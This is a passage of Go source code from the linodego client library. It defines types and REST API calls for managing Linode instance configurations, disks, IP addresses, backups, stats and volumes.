ConfigInterfacePurpose = "vlan" InterfacePurposeVPC ConfigInterfacePurpose = "vpc" ) // InstanceConfigsPagedResponse represents a paginated InstanceConfig API response type InstanceConfigsPagedResponse struct { *PageOptions Data []InstanceConfig `json:"data"` } // InstanceConfigCreateOptions are InstanceConfig settings that can be used at creation type InstanceConfigCreateOptions struct { Label string `json:"label,omitempty"` Comments string `json:"comments,omitempty"` Devices InstanceConfigDeviceMap `json:"devices"` Helpers *InstanceConfigHelpers `json:"helpers,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces"` MemoryLimit int `json:"memory_limit,omitempty"` Kernel string `json:"kernel,omitempty"` InitRD int `json:"init_rd,omitempty"` RootDevice *string `json:"root_device,omitempty"` RunLevel string `json:"run_level,omitempty"` VirtMode string `json:"virt_mode,omitempty"` } // InstanceConfigUpdateOptions are InstanceConfig settings that can be used in updates type InstanceConfigUpdateOptions struct { Label string `json:"label,omitempty"` Comments string `json:"comments"` Devices *InstanceConfigDeviceMap `json:"devices,omitempty"` Helpers *InstanceConfigHelpers `json:"helpers,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces"` // MemoryLimit 0 means unlimitted, this is not omitted MemoryLimit int `json:"memory_limit"` Kernel string `json:"kernel,omitempty"` // InitRD is nullable, permit the sending of null InitRD *int `json:"init_rd"` RootDevice string `json:"root_device,omitempty"` RunLevel string `json:"run_level,omitempty"` VirtMode string `json:"virt_mode,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceConfig) UnmarshalJSON(b []byte) error { type Mask InstanceConfig p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a InstanceConfig to InstanceConfigCreateOptions for use in CreateInstanceConfig func (i InstanceConfig) GetCreateOptions() InstanceConfigCreateOptions { initrd := 0 if i.InitRD != nil { initrd = *i.InitRD } return InstanceConfigCreateOptions{ Label: i.Label, Comments: i.Comments, Devices: *i.Devices, Helpers: i.Helpers, Interfaces: getInstanceConfigInterfacesCreateOptionsList(i.Interfaces), MemoryLimit: i.MemoryLimit, Kernel: i.Kernel, InitRD: initrd, RootDevice: copyString(&i.RootDevice), RunLevel: i.RunLevel, VirtMode: i.VirtMode, } } // GetUpdateOptions converts a InstanceConfig to InstanceConfigUpdateOptions for use in UpdateInstanceConfig func (i InstanceConfig) GetUpdateOptions() InstanceConfigUpdateOptions { return InstanceConfigUpdateOptions{ Label: i.Label, Comments: i.Comments, Devices: i.Devices, Helpers: i.Helpers, Interfaces: getInstanceConfigInterfacesCreateOptionsList(i.Interfaces), MemoryLimit: i.MemoryLimit, Kernel: i.Kernel, InitRD: copyInt(i.InitRD), RootDevice: i.RootDevice, RunLevel: i.RunLevel, VirtMode: i.VirtMode, } } // endpoint gets the endpoint URL for InstanceConfigs of a given Instance func (InstanceConfigsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("linode/instances/%d/configs", id) } func (resp *InstanceConfigsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InstanceConfigsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InstanceConfigsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInstanceConfigs lists InstanceConfigs func (c *Client) ListInstanceConfigs(ctx context.Context, linodeID int, opts *ListOptions) ([]InstanceConfig, error) { response := InstanceConfigsPagedResponse{} err := c.listHelper(ctx, &response, opts, linodeID) if err != nil { return nil, err } return response.Data, nil } // GetInstanceConfig gets the template with the provided ID func (c *Client) GetInstanceConfig(ctx context.Context, linodeID int, configID int) (*InstanceConfig, error) { e := fmt.Sprintf("linode/instances/%d/configs/%d", linodeID, configID) req := c.R(ctx).SetResult(&InstanceConfig{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfig), nil } // CreateInstanceConfig creates a new InstanceConfig for the given Instance func (c *Client) CreateInstanceConfig(ctx context.Context, linodeID int, opts InstanceConfigCreateOptions) (*InstanceConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/configs", linodeID) req := c.R(ctx).SetResult(&InstanceConfig{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfig), nil } // UpdateInstanceConfig update an InstanceConfig for the given Instance func (c *Client) UpdateInstanceConfig(ctx context.Context, linodeID int, configID int, opts InstanceConfigUpdateOptions) (*InstanceConfig, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/configs/%d", linodeID, configID) req := c.R(ctx).SetResult(&InstanceConfig{}).SetBody(body) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*InstanceConfig), nil } // RenameInstanceConfig renames an InstanceConfig func (c *Client) RenameInstanceConfig(ctx context.Context, linodeID int, configID int, label string) (*InstanceConfig, error) { return c.UpdateInstanceConfig(ctx, linodeID, configID, InstanceConfigUpdateOptions{Label: label}) } // DeleteInstanceConfig deletes a Linode InstanceConfig func (c *Client) DeleteInstanceConfig(ctx context.Context, linodeID int, configID int) error { e := fmt.Sprintf("linode/instances/%d/configs/%d", linodeID, configID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/instance_disks.go000066400000000000000000000150701455402072200227330ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // InstanceDisk represents an Instance Disk object type InstanceDisk struct { ID int `json:"id"` Label string `json:"label"` Status DiskStatus `json:"status"` Size int `json:"size"` Filesystem DiskFilesystem `json:"filesystem"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // DiskFilesystem constants start with Filesystem and include Linode API Filesystems type DiskFilesystem string // DiskFilesystem constants represent the filesystems types an Instance Disk may use const ( FilesystemRaw DiskFilesystem = "raw" FilesystemSwap DiskFilesystem = "swap" FilesystemExt3 DiskFilesystem = "ext3" FilesystemExt4 DiskFilesystem = "ext4" FilesystemInitrd DiskFilesystem = "initrd" ) // DiskStatus constants have the prefix "Disk" and include Linode API Instance Disk Status type DiskStatus string // DiskStatus constants represent the status values an Instance Disk may have const ( DiskReady DiskStatus = "ready" DiskNotReady DiskStatus = "not ready" DiskDeleting DiskStatus = "deleting" ) // InstanceDisksPagedResponse represents a paginated InstanceDisk API response type InstanceDisksPagedResponse struct { *PageOptions Data []InstanceDisk `json:"data"` } // InstanceDiskCreateOptions are InstanceDisk settings that can be used at creation type InstanceDiskCreateOptions struct { Label string `json:"label"` Size int `json:"size"` // Image is optional, but requires RootPass if provided Image string `json:"image,omitempty"` RootPass string `json:"root_pass,omitempty"` Filesystem string `json:"filesystem,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` ReadOnly bool `json:"read_only,omitempty"` StackscriptID int `json:"stackscript_id,omitempty"` StackscriptData map[string]string `json:"stackscript_data,omitempty"` } // InstanceDiskUpdateOptions are InstanceDisk settings that can be used in updates type InstanceDiskUpdateOptions struct { Label string `json:"label"` ReadOnly bool `json:"read_only"` } // endpoint gets the endpoint URL for InstanceDisks of a given Instance func (InstanceDisksPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("linode/instances/%d/disks", id) } func (resp *InstanceDisksPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InstanceDisksPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InstanceDisksPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInstanceDisks lists InstanceDisks func (c *Client) ListInstanceDisks(ctx context.Context, linodeID int, opts *ListOptions) ([]InstanceDisk, error) { response := InstanceDisksPagedResponse{} err := c.listHelper(ctx, &response, opts, linodeID) if err != nil { return nil, err } return response.Data, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceDisk) UnmarshalJSON(b []byte) error { type Mask InstanceDisk p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetInstanceDisk gets the template with the provided ID func (c *Client) GetInstanceDisk(ctx context.Context, linodeID int, diskID int) (*InstanceDisk, error) { e := fmt.Sprintf("linode/instances/%d/disks/%d", linodeID, diskID) req := c.R(ctx).SetResult(&InstanceDisk{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceDisk), nil } // CreateInstanceDisk creates a new InstanceDisk for the given Instance func (c *Client) CreateInstanceDisk(ctx context.Context, linodeID int, opts InstanceDiskCreateOptions) (*InstanceDisk, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/disks", linodeID) req := c.R(ctx).SetResult(&InstanceDisk{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*InstanceDisk), nil } // UpdateInstanceDisk creates a new InstanceDisk for the given Instance func (c *Client) UpdateInstanceDisk(ctx context.Context, linodeID int, diskID int, opts InstanceDiskUpdateOptions) (*InstanceDisk, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/disks/%d", linodeID, diskID) req := c.R(ctx).SetResult(&InstanceDisk{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*InstanceDisk), nil } // RenameInstanceDisk renames an InstanceDisk func (c *Client) RenameInstanceDisk(ctx context.Context, linodeID int, diskID int, label string) (*InstanceDisk, error) { return c.UpdateInstanceDisk(ctx, linodeID, diskID, InstanceDiskUpdateOptions{Label: label}) } // ResizeInstanceDisk resizes the size of the Instance disk func (c *Client) ResizeInstanceDisk(ctx context.Context, linodeID int, diskID int, size int) error { opts := map[string]any{ "size": size, } body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("linode/instances/%d/disks/%d/resize", linodeID, diskID) req := c.R(ctx).SetResult(&InstanceDisk{}).SetBody(body) _, err = coupleAPIErrors(req.Post(e)) return err } // PasswordResetInstanceDisk resets the "root" account password on the Instance disk func (c *Client) PasswordResetInstanceDisk(ctx context.Context, linodeID int, diskID int, password string) error { opts := map[string]any{ "password": password, } body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("linode/instances/%d/disks/%d/password", linodeID, diskID) req := c.R(ctx).SetResult(&InstanceDisk{}).SetBody(string(body)) _, err = coupleAPIErrors(req.SetBody(body).Post(e)) return err } // DeleteInstanceDisk deletes a Linode Instance Disk func (c *Client) DeleteInstanceDisk(ctx context.Context, linodeID int, diskID int) error { e := fmt.Sprintf("linode/instances/%d/disks/%d", linodeID, diskID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/instance_firewalls.go000066400000000000000000000022241455402072200236030ustar00rootroot00000000000000package linodego import ( "context" "fmt" "github.com/go-resty/resty/v2" ) // InstanceFirewallsPagedResponse represents a Linode API response for listing of Cloud Firewalls type InstanceFirewallsPagedResponse struct { *PageOptions Data []Firewall `json:"data"` } func (InstanceFirewallsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("linode/instances/%d/firewalls", id) } func (resp *InstanceFirewallsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InstanceFirewallsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InstanceFirewallsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInstanceFirewalls returns a paginated list of Cloud Firewalls for linodeID func (c *Client) ListInstanceFirewalls(ctx context.Context, linodeID int, opts *ListOptions) ([]Firewall, error) { response := InstanceFirewallsPagedResponse{} err := c.listHelper(ctx, &response, opts, linodeID) if err != nil { return nil, err } return response.Data, nil } golang-github-linode-linodego-1.28.0/instance_ips.go000066400000000000000000000113031455402072200224040ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" ) // InstanceIPAddressResponse contains the IPv4 and IPv6 details for an Instance type InstanceIPAddressResponse struct { IPv4 *InstanceIPv4Response `json:"ipv4"` IPv6 *InstanceIPv6Response `json:"ipv6"` } // InstanceIPv4Response contains the details of all IPv4 addresses associated with an Instance type InstanceIPv4Response struct { Public []*InstanceIP `json:"public"` Private []*InstanceIP `json:"private"` Shared []*InstanceIP `json:"shared"` Reserved []*InstanceIP `json:"reserved"` } // InstanceIP represents an Instance IP with additional DNS and networking details type InstanceIP struct { Address string `json:"address"` Gateway string `json:"gateway"` SubnetMask string `json:"subnet_mask"` Prefix int `json:"prefix"` Type InstanceIPType `json:"type"` Public bool `json:"public"` RDNS string `json:"rdns"` LinodeID int `json:"linode_id"` Region string `json:"region"` VPCNAT1To1 *InstanceIPNAT1To1 `json:"vpc_nat_1_1"` } // InstanceIPv6Response contains the IPv6 addresses and ranges for an Instance type InstanceIPv6Response struct { LinkLocal *InstanceIP `json:"link_local"` SLAAC *InstanceIP `json:"slaac"` Global []IPv6Range `json:"global"` } // InstanceIPNAT1To1 contains information about the NAT 1:1 mapping // of a public IP address to a VPC subnet. type InstanceIPNAT1To1 struct { Address string `json:"address"` SubnetID int `json:"subnet_id"` VPCID int `json:"vpc_id"` } // IPv6Range represents a range of IPv6 addresses routed to a single Linode in a given Region type IPv6Range struct { Range string `json:"range"` Region string `json:"region"` Prefix int `json:"prefix"` RouteTarget string `json:"route_target"` // These fields are only returned by GetIPv6Range(...) IsBGP bool `json:"is_bgp"` Linodes []int `json:"linodes"` } // InstanceIPType constants start with IPType and include Linode Instance IP Types type InstanceIPType string // InstanceIPType constants represent the IP types an Instance IP may be const ( IPTypeIPv4 InstanceIPType = "ipv4" IPTypeIPv6 InstanceIPType = "ipv6" IPTypeIPv6Pool InstanceIPType = "ipv6/pool" IPTypeIPv6Range InstanceIPType = "ipv6/range" ) // GetInstanceIPAddresses gets the IPAddresses for a Linode instance func (c *Client) GetInstanceIPAddresses(ctx context.Context, linodeID int) (*InstanceIPAddressResponse, error) { e := fmt.Sprintf("linode/instances/%d/ips", linodeID) req := c.R(ctx).SetResult(&InstanceIPAddressResponse{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceIPAddressResponse), nil } // GetInstanceIPAddress gets the IPAddress for a Linode instance matching a supplied IP address func (c *Client) GetInstanceIPAddress(ctx context.Context, linodeID int, ipaddress string) (*InstanceIP, error) { ipaddress = url.PathEscape(ipaddress) e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipaddress) req := c.R(ctx).SetResult(&InstanceIP{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceIP), nil } // AddInstanceIPAddress adds a public or private IP to a Linode instance func (c *Client) AddInstanceIPAddress(ctx context.Context, linodeID int, public bool) (*InstanceIP, error) { instanceipRequest := struct { Type string `json:"type"` Public bool `json:"public"` }{"ipv4", public} body, err := json.Marshal(instanceipRequest) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/ips", linodeID) req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*InstanceIP), nil } // UpdateInstanceIPAddress updates the IPAddress with the specified instance id and IP address func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string, opts IPAddressUpdateOptions) (*InstanceIP, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } ipAddress = url.PathEscape(ipAddress) e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress) req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*InstanceIP), nil } func (c *Client) DeleteInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string) error { ipAddress = url.PathEscape(ipAddress) e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/instance_snapshots.go000066400000000000000000000124241455402072200236400ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/linode/linodego/internal/parseabletime" ) // InstanceBackupsResponse response struct for backup snapshot type InstanceBackupsResponse struct { Automatic []*InstanceSnapshot `json:"automatic"` Snapshot *InstanceBackupSnapshotResponse `json:"snapshot"` } // InstanceBackupSnapshotResponse fields are those representing Instance Backup Snapshots type InstanceBackupSnapshotResponse struct { Current *InstanceSnapshot `json:"current"` InProgress *InstanceSnapshot `json:"in_progress"` } // RestoreInstanceOptions fields are those accepted by InstanceRestore type RestoreInstanceOptions struct { LinodeID int `json:"linode_id"` Overwrite bool `json:"overwrite"` } // InstanceSnapshot represents a linode backup snapshot type InstanceSnapshot struct { ID int `json:"id"` Label string `json:"label"` Status InstanceSnapshotStatus `json:"status"` Type string `json:"type"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Finished *time.Time `json:"-"` Configs []string `json:"configs"` Disks []*InstanceSnapshotDisk `json:"disks"` Available bool `json:"available"` } // InstanceSnapshotDisk fields represent the source disk of a Snapshot type InstanceSnapshotDisk struct { Label string `json:"label"` Size int `json:"size"` Filesystem string `json:"filesystem"` } // InstanceSnapshotStatus constants start with Snapshot and include Linode API Instance Backup Snapshot status values type InstanceSnapshotStatus string // InstanceSnapshotStatus constants reflect the current status of an Instance Snapshot var ( SnapshotPaused InstanceSnapshotStatus = "paused" SnapshotPending InstanceSnapshotStatus = "pending" SnapshotRunning InstanceSnapshotStatus = "running" SnapshotNeedsPostProcessing InstanceSnapshotStatus = "needsPostProcessing" SnapshotSuccessful InstanceSnapshotStatus = "successful" SnapshotFailed InstanceSnapshotStatus = "failed" SnapshotUserAborted InstanceSnapshotStatus = "userAborted" ) // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceSnapshot) UnmarshalJSON(b []byte) error { type Mask InstanceSnapshot p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` Finished *parseabletime.ParseableTime `json:"finished"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) i.Finished = (*time.Time)(p.Finished) return nil } // GetInstanceSnapshot gets the snapshot with the provided ID func (c *Client) GetInstanceSnapshot(ctx context.Context, linodeID int, snapshotID int) (*InstanceSnapshot, error) { e := fmt.Sprintf("linode/instances/%d/backups/%d", linodeID, snapshotID) req := c.R(ctx).SetResult(&InstanceSnapshot{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceSnapshot), nil } // CreateInstanceSnapshot Creates or Replaces the snapshot Backup of a Linode. If a previous snapshot exists for this Linode, it will be deleted. func (c *Client) CreateInstanceSnapshot(ctx context.Context, linodeID int, label string) (*InstanceSnapshot, error) { body, err := json.Marshal(map[string]string{"label": label}) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/backups", linodeID) req := c.R(ctx).SetResult(&InstanceSnapshot{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*InstanceSnapshot), nil } // GetInstanceBackups gets the Instance's available Backups. // This is not called ListInstanceBackups because a single object is returned, matching the API response. func (c *Client) GetInstanceBackups(ctx context.Context, linodeID int) (*InstanceBackupsResponse, error) { e := fmt.Sprintf("linode/instances/%d/backups", linodeID) req := c.R(ctx).SetResult(&InstanceBackupsResponse{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceBackupsResponse), nil } // EnableInstanceBackups Enables backups for the specified Linode. func (c *Client) EnableInstanceBackups(ctx context.Context, linodeID int) error { e := fmt.Sprintf("linode/instances/%d/backups/enable", linodeID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // CancelInstanceBackups Cancels backups for the specified Linode. func (c *Client) CancelInstanceBackups(ctx context.Context, linodeID int) error { e := fmt.Sprintf("linode/instances/%d/backups/cancel", linodeID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // RestoreInstanceBackup Restores a Linode's Backup to the specified Linode. func (c *Client) RestoreInstanceBackup(ctx context.Context, linodeID int, backupID int, opts RestoreInstanceOptions) error { body, err := json.Marshal(opts) if err != nil { return NewError(err) } e := fmt.Sprintf("linode/instances/%d/backups/%d/restore", linodeID, backupID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } golang-github-linode-linodego-1.28.0/instance_stats.go000066400000000000000000000031271455402072200227540ustar00rootroot00000000000000package linodego import ( "context" "fmt" ) // StatsNet represents a network stats object type StatsNet struct { In [][]float64 `json:"in"` Out [][]float64 `json:"out"` PrivateIn [][]float64 `json:"private_in"` PrivateOut [][]float64 `json:"private_out"` } // StatsIO represents an IO stats object type StatsIO struct { IO [][]float64 `json:"io"` Swap [][]float64 `json:"swap"` } // InstanceStatsData represents an instance stats data object type InstanceStatsData struct { CPU [][]float64 `json:"cpu"` IO StatsIO `json:"io"` NetV4 StatsNet `json:"netv4"` NetV6 StatsNet `json:"netv6"` } // InstanceStats represents an instance stats object type InstanceStats struct { Title string `json:"title"` Data InstanceStatsData `json:"data"` } // GetInstanceStats gets the template with the provided ID func (c *Client) GetInstanceStats(ctx context.Context, linodeID int) (*InstanceStats, error) { e := fmt.Sprintf("linode/instances/%d/stats", linodeID) req := c.R(ctx).SetResult(&InstanceStats{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceStats), nil } // GetInstanceStatsByDate gets the template with the provided ID, year, and month func (c *Client) GetInstanceStatsByDate(ctx context.Context, linodeID int, year int, month int) (*InstanceStats, error) { e := fmt.Sprintf("linode/instances/%d/stats/%d/%d", linodeID, year, month) req := c.R(ctx).SetResult(&InstanceStats{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceStats), nil } golang-github-linode-linodego-1.28.0/instance_volumes.go000066400000000000000000000021771455402072200233140ustar00rootroot00000000000000package linodego import ( "context" "fmt" "github.com/go-resty/resty/v2" ) // InstanceVolumesPagedResponse represents a paginated InstanceVolume API response type InstanceVolumesPagedResponse struct { *PageOptions Data []Volume `json:"data"` } // endpoint gets the endpoint URL for InstanceVolume func (InstanceVolumesPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("linode/instances/%d/volumes", id) } func (resp *InstanceVolumesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InstanceVolumesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InstanceVolumesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInstanceVolumes lists InstanceVolumes func (c *Client) ListInstanceVolumes(ctx context.Context, linodeID int, opts *ListOptions) ([]Volume, error) { response := InstanceVolumesPagedResponse{} err := c.listHelper(ctx, &response, opts, linodeID) if err != nil { return nil, err } return response.Data, nil } golang-github-linode-linodego-1.28.0/instances.go000066400000000000000000000400641455402072200217220ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) /* * https://developers.linode.com/v4/reference/endpoints/linode/instances */ // InstanceStatus constants start with Instance and include Linode API Instance Status values type InstanceStatus string // InstanceStatus constants reflect the current status of an Instance const ( InstanceBooting InstanceStatus = "booting" InstanceRunning InstanceStatus = "running" InstanceOffline InstanceStatus = "offline" InstanceShuttingDown InstanceStatus = "shutting_down" InstanceRebooting InstanceStatus = "rebooting" InstanceProvisioning InstanceStatus = "provisioning" InstanceDeleting InstanceStatus = "deleting" InstanceMigrating InstanceStatus = "migrating" InstanceRebuilding InstanceStatus = "rebuilding" InstanceCloning InstanceStatus = "cloning" InstanceRestoring InstanceStatus = "restoring" InstanceResizing InstanceStatus = "resizing" ) type InstanceMigrationType string const ( WarmMigration InstanceMigrationType = "warm" ColdMigration InstanceMigrationType = "cold" ) // Instance represents a linode object type Instance struct { ID int `json:"id"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Region string `json:"region"` Alerts *InstanceAlert `json:"alerts"` Backups *InstanceBackup `json:"backups"` Image string `json:"image"` Group string `json:"group"` IPv4 []*net.IP `json:"ipv4"` IPv6 string `json:"ipv6"` Label string `json:"label"` Type string `json:"type"` Status InstanceStatus `json:"status"` HasUserData bool `json:"has_user_data"` Hypervisor string `json:"hypervisor"` HostUUID string `json:"host_uuid"` Specs *InstanceSpec `json:"specs"` WatchdogEnabled bool `json:"watchdog_enabled"` Tags []string `json:"tags"` } // InstanceSpec represents a linode spec type InstanceSpec struct { Disk int `json:"disk"` Memory int `json:"memory"` VCPUs int `json:"vcpus"` Transfer int `json:"transfer"` GPUs int `json:"gpus"` } // InstanceAlert represents a metric alert type InstanceAlert struct { CPU int `json:"cpu"` IO int `json:"io"` NetworkIn int `json:"network_in"` NetworkOut int `json:"network_out"` TransferQuota int `json:"transfer_quota"` } // InstanceBackup represents backup settings for an instance type InstanceBackup struct { Available bool `json:"available,omitempty"` // read-only Enabled bool `json:"enabled,omitempty"` // read-only Schedule struct { Day string `json:"day,omitempty"` Window string `json:"window,omitempty"` } `json:"schedule,omitempty"` } // InstanceTransfer pool stats for a Linode Instance during the current billing month type InstanceTransfer struct { // Bytes of transfer this instance has consumed Used int `json:"used"` // GB of billable transfer this instance has consumed Billable int `json:"billable"` // GB of transfer this instance adds to the Transfer pool Quota int `json:"quota"` } // InstanceMetadataOptions specifies various Instance creation fields // that relate to the Linode Metadata service. type InstanceMetadataOptions struct { // UserData expects a Base64-encoded string UserData string `json:"user_data,omitempty"` } // InstanceCreateOptions require only Region and Type type InstanceCreateOptions struct { Region string `json:"region"` Type string `json:"type"` Label string `json:"label,omitempty"` Group string `json:"group,omitempty"` RootPass string `json:"root_pass,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` StackScriptID int `json:"stackscript_id,omitempty"` StackScriptData map[string]string `json:"stackscript_data,omitempty"` BackupID int `json:"backup_id,omitempty"` Image string `json:"image,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces,omitempty"` BackupsEnabled bool `json:"backups_enabled,omitempty"` PrivateIP bool `json:"private_ip,omitempty"` Tags []string `json:"tags,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` FirewallID int `json:"firewall_id,omitempty"` // Creation fields that need to be set explicitly false, "", or 0 use pointers SwapSize *int `json:"swap_size,omitempty"` Booted *bool `json:"booted,omitempty"` } // InstanceUpdateOptions is an options struct used when Updating an Instance type InstanceUpdateOptions struct { Label string `json:"label,omitempty"` Group string `json:"group,omitempty"` Backups *InstanceBackup `json:"backups,omitempty"` Alerts *InstanceAlert `json:"alerts,omitempty"` WatchdogEnabled *bool `json:"watchdog_enabled,omitempty"` Tags *[]string `json:"tags,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Instance) UnmarshalJSON(b []byte) error { type Mask Instance p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetUpdateOptions converts an Instance to InstanceUpdateOptions for use in UpdateInstance func (i *Instance) GetUpdateOptions() InstanceUpdateOptions { return InstanceUpdateOptions{ Label: i.Label, Group: i.Group, Backups: i.Backups, Alerts: i.Alerts, WatchdogEnabled: &i.WatchdogEnabled, Tags: &i.Tags, } } // InstanceCloneOptions is an options struct sent when Cloning an Instance type InstanceCloneOptions struct { Region string `json:"region,omitempty"` Type string `json:"type,omitempty"` // LinodeID is an optional existing instance to use as the target of the clone LinodeID int `json:"linode_id,omitempty"` Label string `json:"label,omitempty"` Group string `json:"group,omitempty"` BackupsEnabled bool `json:"backups_enabled"` Disks []int `json:"disks,omitempty"` Configs []int `json:"configs,omitempty"` PrivateIP bool `json:"private_ip,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` } // InstanceResizeOptions is an options struct used when resizing an instance type InstanceResizeOptions struct { Type string `json:"type"` MigrationType InstanceMigrationType `json:"migration_type,omitempty"` // When enabled, an instance resize will also resize a data disk if the instance has no more than one data disk and one swap disk AllowAutoDiskResize *bool `json:"allow_auto_disk_resize,omitempty"` } // InstanceResizeOptions is an options struct used when resizing an instance type InstanceMigrateOptions struct { Type InstanceMigrationType `json:"type,omitempty"` Region string `json:"region,omitempty"` } // InstancesPagedResponse represents a linode API response for listing type InstancesPagedResponse struct { *PageOptions Data []Instance `json:"data"` } // endpoint gets the endpoint URL for Instance func (InstancesPagedResponse) endpoint(_ ...any) string { return "linode/instances" } func (resp *InstancesPagedResponse) castResult(r *resty.Request, e 